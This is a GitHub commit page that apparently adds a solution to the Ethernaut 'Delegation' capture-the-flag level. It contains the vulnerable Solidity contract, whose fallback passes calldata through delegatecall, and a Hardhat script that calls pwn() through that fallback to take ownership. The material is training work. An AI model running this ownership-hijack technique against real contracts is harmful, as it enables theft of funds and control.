-
Notifications
You must be signed in to change notification settings - Fork 10
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
76 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.0; | ||
|
||
contract Delegate { | ||
address public owner; | ||
|
||
constructor(address _owner) public { | ||
owner = _owner; | ||
} | ||
|
||
function pwn() public { | ||
owner = msg.sender; | ||
} | ||
} | ||
|
||
contract Delegation { | ||
address public owner; | ||
Delegate delegate; | ||
|
||
constructor(address _delegateAddress) public { | ||
delegate = Delegate(_delegateAddress); | ||
owner = msg.sender; | ||
} | ||
|
||
fallback() external { | ||
(bool result, ) = address(delegate).delegatecall(msg.data); | ||
if (result) { | ||
this; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
pragma solidity ^0.6.0; | ||
|
||
import "hardhat/console.sol"; | ||
|
||
contract Calldata { | ||
function logCallData(uint256 number, string memory str) public view returns (bytes memory) { | ||
return msg.data; | ||
} | ||
|
||
function getDelegated() public returns (bool) { | ||
(bool result, ) = address(this).delegatecall(abi.encodeWithSignature("get()")); | ||
return result; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
import { Signer } from 'ethers' | ||
import { ethers } from 'hardhat' | ||
import { loadOrCreateLevelInstance } from './ethernaut' | ||
|
||
const levelAddress = '0x9451961b7Aea1Df57bc20CC68D72f662241b5493' | ||
|
||
const main = async () => { | ||
const signer = (await ethers.getSigners())[0] as Signer | ||
|
||
const targetContract = await loadOrCreateLevelInstance('Delegation', levelAddress, signer) | ||
|
||
console.log(await targetContract.owner()) | ||
|
||
const provider = ethers.getDefaultProvider() | ||
const abi = ['function pwn()'] | ||
const contract = new ethers.Contract(targetContract.address, abi, signer as any) | ||
|
||
const tx = await contract.pwn() | ||
console.log('PWN id: ', tx.hash) | ||
await tx.wait() | ||
|
||
console.log(await targetContract.owner()) | ||
} | ||
|
||
main() | ||
.then(() => process.exit()) | ||
.catch(e => { | ||
console.error(e) | ||
process.exit(1) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters